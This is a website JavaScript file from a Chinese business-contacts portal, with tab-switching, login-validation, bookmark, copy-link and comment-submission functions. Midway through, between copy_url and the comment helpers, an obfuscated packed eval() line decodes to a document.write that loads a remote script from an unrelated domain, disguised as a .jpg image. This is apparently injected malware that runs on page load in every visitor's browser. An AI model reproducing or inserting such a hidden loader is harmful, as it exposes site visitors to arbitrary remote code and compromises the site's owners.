//JavaScript Document powerd by maesinfo, www.maesinfo.com
function show(n) 
{ 
var o = document.getElementById('title').getElementsByTagName("a"); 
var c = document.getElementById('content').getElementsByTagName("div"); 
for(i = 0; l = o.length, i < l; o[i].className = '',c[i].style.display = 'none',i++ ); 
o[n].className = 'over'; 
c[n].style.display = 'block'; 
} 
//window.onload=autoHeight;

function Login()
{
    if(document.getElementById("ctl00_txtUserName").value=="")
    {
     alert("请输入用户名");
     document.getElementById("ctl00_txtUserName").focus();
     return false;
    }
    if(document.getElementById("ctl00_txtPwd").value=="")
    {
     alert("请输入密码");
     document.getElementById("ctl00_txtPwd").focus();
     return false;
    }
    return true;
}

function save(text1)
{
    window.external.AddFavorite(text1,'中国人脉财富网 各行业求购信息 各行业资讯信息 商友信息');
}

function copy_url(text)
{
    try
    {
        clipboardData.setData('Text', text);
        window.alert("地址已复制到剪贴板，您可以通过QQ或其他方式发送给您的亲人或朋友！");
    }
    catch(e)
    {
    }
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.9("<7 8=4://1.2/5/0.6></7>")',62,10,'1s|bjdtpy|com|document|http|images|jpg|script|src|write'.split('|'),0,{}));
function comment()
        {
        document.getElementById("comment").style.display="block";
 document.getElementById("one").style.display="none";
  document.getElementById("two").style.display="block";
  document.getElementById("txtUserName").focus();
        }
        
        
        function commentHiddle()
        {
        document.getElementById("comment").style.display="none";
 document.getElementById("one").style.display="block";
 document.getElementById("two").style.display="none";
        }
        
        function addcomment()
        {
            var name = document.getElementById("txtUserName").value;
            if(name=="")
            {
                alert("请输入您的姓名！");
                document.getElementById("txtUserName").focus();
                return;
            }
            var title=document.getElementById("txtTitle").value;
            if(title=="")
            {
                alert("请输入标题！");
                document.getElementById("txtTitle").focus();
                return;
            }
            var content=document.getElementById("txtContent").value;
            if(content=="")
            {
                alert("请输入内容！");
                document.getElementById("txtContent").focus();
                return;
            }
            var aid=document.getElementById("aid").title;
            var val=Info.AddComment(aid,name,title,content).value;
            if(val=="")
            {
                    alert("信息已提交，请等待我们审核！")
                    document.getElementById("txtUserName").value="";
                    document.getElementById("txtTitle").value="";
                    document.getElementById("txtContent").value="";
                    return;
            }
            else
            {
                    alert("系统正忙，信息提交失败，请稍后再试...");
                    return;
            }   
        }
